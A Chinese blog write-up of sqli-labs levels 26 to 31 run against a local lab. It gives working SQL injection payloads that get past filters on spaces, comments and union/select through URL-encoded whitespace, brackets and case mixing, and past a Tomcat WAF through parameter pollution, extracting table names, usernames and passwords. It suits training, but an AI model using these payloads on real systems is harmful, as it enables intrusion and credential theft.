sql注入 Less-26-31

Preface

本博文仅用于信息安全防御教学,请遵守中华人民共和国网络安全法!!

Less-26

0x00

由题干我们知道,它对我们的空格和一些内容进行了过滤,经过我尝试,我发现,它过滤了我们的 and 、or 、 # 、–

因为空格无法进行双写,所以我们必须要想办法绕过空格过滤

首先我们根据题目提示,是单引号注入,我们验证一下,发现页面报错,则证明我们的猜想正确/

?id=1'

在这里插入图片描述
对于绕过空格的方法有很多比如:

1.使用/**/来绕过空格,经我在数据库可视化管理工具可以使用
2.使用URL编码来绕过(以下编码可能因为windows操作系统下,Apache无法进行解析,
建议在Linux系统上使用,当然,当php版本低的时候,可能会成功
(我下面就是这样绕过的))
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
3.用()来绕过空格,仅限于子查询语句(可以得出结果的sql语句)
例如可以用select(database())and(1=1)
却不能用于?id=1(union)(select(database())),会报错
因为单独的union并不是子查询语句,也就是我们下面的注入不可以使用

0x01

因为我们注释符被过滤掉,所以我们闭合单引号就要才去前面讲的那种,用and或者or来闭合(至于为什么这么做,请看我之前文章)

?id=1' and '1'='1

所以我们现在最大的问题就是如何让空格出现在我们的sql语句中。

我们可以用 空格()空格来代替空格进行注入,但是经我后面测试,这个仅限于报错注入,但是又因为报错注入有字节限制,所以当我爆到字段名的时候,如果用group_concat的话因为超出字符限制,如果用limit因为 空格()空格经我测试只能用于子查询语句(也就是可以得出结果的sql语句),所以只能得出不完整的信息

所以这道题其实正确的解法是通过url编码%a0,来充当空格,但是又因为如果php版本过高的话且因为apache解析的问题,%a0无法被解析为空格,所以这道题其实最好的解法是要在Linux平台下完成的。

但是我发现,当我的php版本为5.2.17的时候,这个%a0可以被解析成空格,虽然在页面上显示的是乱码,但是它起到了空格的作用,因为我懒的去Linux再搭建sqli-labs所以我就算是占了一个版本的便宜(建议大家还是在Linux系统下搭建环境),从而实现了注入,所以下面有关于绕过空格的,我都是运用的php版本低可以解析空格来进行注入的

0x02

爆数据库

?id=1'||extractvalue(1,concat(0x7e,database()))||'1'='1
在这里插入图片描述
在这里插入图片描述

爆数据库的时候没有涉及到空格问题

0x03

爆数据表

?id=1'||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))))||'1'='1

但是在我实际操作的时候,我发现其实括号两边不用加空格,直接把需要空格的语句的两边直接加括号也可以实现绕过空格。
在这里插入图片描述
在这里插入图片描述

0x04

爆字段名

?id=1'||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users'))))||'1'='1
在这里插入图片描述
此时会出现上述说到的问题,因为字节限制所以爆不出完整信息,然后又因为用括号来绕过空格对于limit不起作用,所以我们可以采用低版本来投机取巧

直接用%a0来充当空格,然后使用联合查询爆出字段

先判断回显位置

?id='%a0union%a0select%a01,2,3||'1'='1
在这里插入图片描述
在这里插入图片描述
进行注入

?id='%a0union%a0select%a01,(select%a0group_concat(column_name)%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'),3||'1'='1
在这里插入图片描述
在这里插入图片描述
0x05

报字段值

?id='%a0union%a0select%a01,(select%a0group_concat(username)%a0from%a0users),3||'1'='1

在这里插入图片描述

?id='%a0union%a0select%a01,(select%a0group_concat(passwoorrd)%a0from%a0users),3||'1'='1

在这里插入图片描述
奇怪的密码是因为以前做完题,没有重制数据库,当时注入修改密码改为了sql语句

0x06

至此我们的爆破完毕,建议大家最好在Linux平台上再做一遍,这样既能巩固,又能学学在Linux平台上搭环境

Less-26a

0x00

这关过滤的东西和上一关一样,我们仍然可以运用低版本的php来投机取巧

我们通过题意,发现它变量周围包裹着的是单引号和圆括号,所以我们可以通过闭合然后再来构造我们的payload

0x01

具体注入语句和上面一关完全一样,这里就不做过多赘述了

Less-27

0x00

由题意知,我们这关的select和union都被过滤,且是单引号注入
首先我们先进行一下测试,看看是否是单引号注入
在这里插入图片描述
由我们测试发现,它的变量周围只有单引号包裹,所以我们接下来进行单引号注入

0x01

先测试一下它的具体回显位置

因为它对我们的union和select进行了过滤,我们可以双写绕过,或者大小写绕过

?id='%a0uNion%a0sElect%a01,2,3%a0and%a0'1'='1

在这里插入图片描述
我们发先我们的回显位置是1和2,而且还发现它并没有对我们的and和or进行过滤,所以下面我们开始进行爆破信息

0x02

爆数据库

?id='%a0uNion%a0sElect%a01,database(),3%a0and%a0'1'='1
在这里插入图片描述
0x03

爆数据表

?id='%a0uNion%a0sElect%a01,(sElect%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=database()),3%a0and%a0'1'='1
在这里插入图片描述

0x04

爆字段名

?id='%a0uNion%a0sElect%a01,(sElect%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name='users'),3%a0and%a0'1'='1
在这里插入图片描述
0x05

爆字段值

?id='%a0uNion%a0sElect%a01,(sElect%a0group_concat(username)%a0from%a0users),3%a0and%a0'1'='1
在这里插入图片描述
?id='%a0uNion%a0sElect%a01,(sElect%a0group_concat(password)%a0from%a0users),3%a0and%a0'1'='1
在这里插入图片描述
0x05

至此我们的所有数据都完成了爆破,其实这关相比上关要简单一些,一是因为作者并没有对我们的and和or进行过滤,二是作者在对我们的select和union正则匹配时区分了大小写,所以我们只要用大小写混写就可以轻松的绕过了

Less-27a

0x00

首先我们根据题意得知,这关没有报错且还是过滤我们的union和select,且是双引号注入

同理我们验证一下

?id=1"%a0and%a0sleep(5)%a0and%a0"1"="1

我们发现页面延迟了五秒执行,说明我们的猜想是正确的

0x01

接下来的操作和我们的27关是完全一样的,只是payload中需要把单引号换为双引号即可

Less-28

0x00

首先我观察它题目是Error Based,但是它的源码里面,报错的语句被注释了,所以我为了符合题意将它的注释删掉了,因为28a才是正经的盲注

有题意知,这道题和27关一样,只是我们的变量是由单引号和圆括号包裹
而且它的源码多出一句

$id= preg_replace('/union\s+select/i',"", $id);
意思就是匹配union+空白符(换行、制表符、空格)+select且不区分大小写
我们依然可以用URL编码来绕过空白符的过滤
然后又因为正则匹配匹配不到空白符所以我们仍然可以用大小写混写绕过
union和select的过滤

?id=')%a0uNion%a0sElect%a01,database(),3%a0and%a0('1')=('1

在这里插入图片描述
然后我们验证一下,我们的变量周围是什么

?id=1')%a0and%a0sleep(5)%a0and%a0('1')=('1

发现页面延迟五秒执行,说明我们的猜测没错,的确是由单引号与括号包裹

0x01

剩下的查询内容完全和上面一样,这里就不做过赘述了

Less-28a

0x00

这关虽说是盲注,但是作者给我们大大降低了难度,取消了对于注释符,空格的过滤。但是我们还是得用URL编码或者注释来代替空格,要不像我上面分析的那样,正则匹配会匹配成功,那样我们的union+select就被替换成为了空字符串

0x01

查看回显位置

?id=') union%a0select 1,2,3 --+
在这里插入图片描述
后续操作的子查询,完全和上面一样,只需要注意union的select中间的空格要用URL编码或者注释来代替,否则会被替换为空字符串

Less-29

0x00

到了这关,我们由题意知,就是得绕过WAF了,首先在做这关之前,我们得搭建jsp环境和了解一些东西。

1.首先我们得搭建jsp环境,如果有不会的,可以看我的博文关于jsp环境的搭建
和一些注意事项,这里就不在进行赘述了

2.然后我们在我们的靶场sqli-labs文件夹下找到下图文件将它粘贴并且
解压到jspstduy的WWW文件夹下面(两个WWW文件夹不要弄混)

在这里插入图片描述

	3.然后打开Less-29关中的index.jsp文件,如果你的sql靶场的命名不是
	sqli-labs那么就改成你自己命名的文件夹

在这里插入图片描述

4.然后我们了解一下什么是参数污染

因为php/apache当有多个参数时候,只会解析最后一个
但是jsp/tomcat当有多个参数的时候,只会解析第一个

所以运用此特点,可以完成我们的解题

0x01

我们首先打开Less-29关中的index.jsp然后参数输入id=1,我们发现页面正常
在这里插入图片描述
然后我们尝试单引号注入
http://127.0.0.1:8080/sql/Less-29/index.jsp?id=1'
在这里插入图片描述
我们发现我们的攻击被WAF给拦截了下来,所以这道题的WAF其实就是Tomcat服务器先读取了数据,发现数据不正常所以给拦截了,它并没有继续发送数据到Apache服务器中,从而导致我们的注入失败

我们用SQL注入天书中的一幅图就可以了解这关WAF的意义
在这里插入图片描述
所以这时候我们就要用参数污染来进行注入

http://127.0.0.1:8080/sql/Less-29/index.jsp?id=1&id=2'

首先根据上文所述,1会被Tomcat读取,2会被Apache读取,然后我们把单引号赋值给最后一个参数(也就是要被Apache接收的参数)
在这里插入图片描述
我们发现页面成功的进行了报错,说明我们的目的达到了

PS:这里目的达到的原因是Tomcat和Apache接受参数的顺序不同,第一个参数1,被Tomcat接收,然后经检查没有问题,所以成功传输到了Apache然后正常显示,然后第二个参数2,因为此参数并没有被Tomcat接收,所以它会直接传递到Apache,不经过Tomcat所以在Tomcat的waf也没有起到作用,所以我们成功进行了注入

0x02

判断回显位置

http://127.0.0.1:8080/sql/Less-29/index.jsp?id=1&id=' union select 1,2,3 --+
在这里插入图片描述
0x03

爆数据库

http://127.0.0.1:8080/sql/Less-29/index.jsp?id=1&id=' union select 1,database(),3 --+
在这里插入图片描述
0x04

爆数据表

http://127.0.0.1:8080/sql/Less-29/index.jsp?id=1&id=' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
在这里插入图片描述
0x05

爆字段名

http://127.0.0.1:8080/sql/Less-29/index.jsp?id=1&id=' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+
在这里插入图片描述
0x06

爆字段值

http://127.0.0.1:8080/sql/Less-29/index.jsp?id=1&id=' union select 1,(select group_concat(username) from users),(select group_concat(password) from users) --+
在这里插入图片描述
0x07

至此我们的数据爆破完毕,这关的重点就是运用两个服务器彼此接收的参数的顺序不同,从而来绕过Tomcat中的waf,达到注入的目的

Less-30

0x00

这关与上一关,完全一样,查代码知,此变量由双引号包裹,所以我们只需闭合双引号,然后联合查询即可爆出所有信息,这里就不在进行赘述了

http://127.0.0.1:8080/sql/Less-30/index.jsp?id=1&id=" union select 1,2,3 --+

Less-31

0x00

这关与前两关完全一样,只是变量是由双引号以及圆括号包裹,所以我们闭合即可,不再进行过多赘述了

http://127.0.0.1:8080/sql/Less-30/index.jsp?id=1&id=") union select 1,2,3 --+

如果有疑问请评论或者私聊博主,可以点赞支持一下博主 ^^

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值